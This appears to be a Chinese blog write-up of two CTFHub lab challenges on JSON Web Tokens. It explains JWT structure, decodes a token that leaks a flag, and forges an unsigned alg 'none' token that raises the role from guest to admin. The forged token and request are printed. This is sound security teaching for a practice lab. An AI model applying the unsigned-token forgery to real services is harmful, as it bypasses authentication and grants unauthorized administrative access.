CTFHub题解-技能树-Web进阶-JSON Web Token 【敏感信息泄露、无签名】
CTFHub题解-技能树-Web进阶-JSON Web Token【敏感信息泄露、无签名】
题外话:emmmm,停更了辣么久......我又厚脸皮回来更新了,哈哈哈哈哈~(。・∀・)ノ゙
(一)敏感信息泄露
1.知识点
* 先来了解一下 用户认证流程 :
(1)用户向服务器发送用户名和密码。
(2)服务器验证通过后,在当前对话(session)里面保存相关数据,比如用户角色、登录时间等等。
(3)服务器向用户返回一个 session_id,写入用户的 Cookie。
(4)用户随后的每一次请求,都会通过 Cookie,将 session_id 传回服务器。
(5)服务器收到 session_id,找到前期保存的数据,由此得知用户的身份。
JSON Web Token (缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
JWT 的结构 :
由三部分构成:
Header.Payload.Signature
头部.负载.签名
举个栗子~
JWT大概就是这种形式:
头部:eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.
签名:jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI
它是一个很长的字符串,中间用点 . 分隔成三个部分。
Header 部分是一个 JSON 对象,描述 JWT 的元数据。
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。
Signature 部分是对前两部分的签名,防止数据篡改。这里需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256)。
注意:Header 和 Payload 串型化的算法是 Base64URL。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。
JWT的特点 :
(1)JWT 默认是不加密,但也是可以加密的。
(2)JWT 不加密的情况下,不能将秘密数据写入 JWT。
(3)JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。
(4)JWT 签发了,在到期之前就会始终有效,因为服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或更改 token 的权限。
(5)JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。
(6)JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。
2.题解
打开时候发现是个登录框,先抓个包看看吧~
我们看到Response的token是这个样子的:
eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI
拿去进行 base64url 解码:
可以用burp自带的解码器 Decoder :
也可以用 解码网站: https://base64.us/#
看到解码结果,发现了ctfhub的字样,emmmm,只有一半........
那么另一半.........再仔细看看结果,原来在解码结果的前半段~
拼起来就可以了~
ctfhub{9833e15743f28ac875063bf2}
(二)无签名
1.知识点
JWT 和 Base64Url 的知识点可以参考上面一道题哦~
2.题解
Go一下看看情况:
先把 token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.MaphZVk25q4stXxAmEgXmKCW7aUo3jDJtgv9DwahLwc; 粘下来。
直接用burp自带的 Decoder 进行 base64url 解码吧~
解出来的结果是这个:
{"typ":"JWT","alg":"none"}.{"username":"admin","password":"123456","role":"admin"fQ.1ªaeY6æ®,µ|@H í¥(Þ0ɶý¡Lwc
从题目提示可以知道:一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。
先解码 头部 :
接着将 HS256算法 修改成 none 算法。
转码~
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
接着解码 负载 :
这里没有显示},可能是因为等号 = 省略的原因,我们可以先加上
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4ifQ==
解码出来是
{"username":"admin","password":"123456","role":"guest"}
这里将 guest 修改成 admin
转码~
好啦~
把 头部 和 负载 拼起来,记得 负载 后的 . 要加上哟~
原始JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.MaphZVk25q4stXxAmEgXmKCW7aUo3jDJtgv9DwahLwc
修改 none算法 和 admin 的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiYWRtaW4ifQ==.
然后我们把 token 替换到 Request 里面,Go一下
emmmmm.....怎么没有flag呢?
仔细看一下跳转的页面,是... /index.php
那就把 Request 的这部分修改一下吧~
POST /index.php HTTP/1.1
Go一下,看到 flag 啦~
ctfhub{d888243961e7b9e90c321e37}
参考资料:
https://jwt.io/introduction/
http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
https://blog.csdn.net/rfrder/article/details/108619373
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.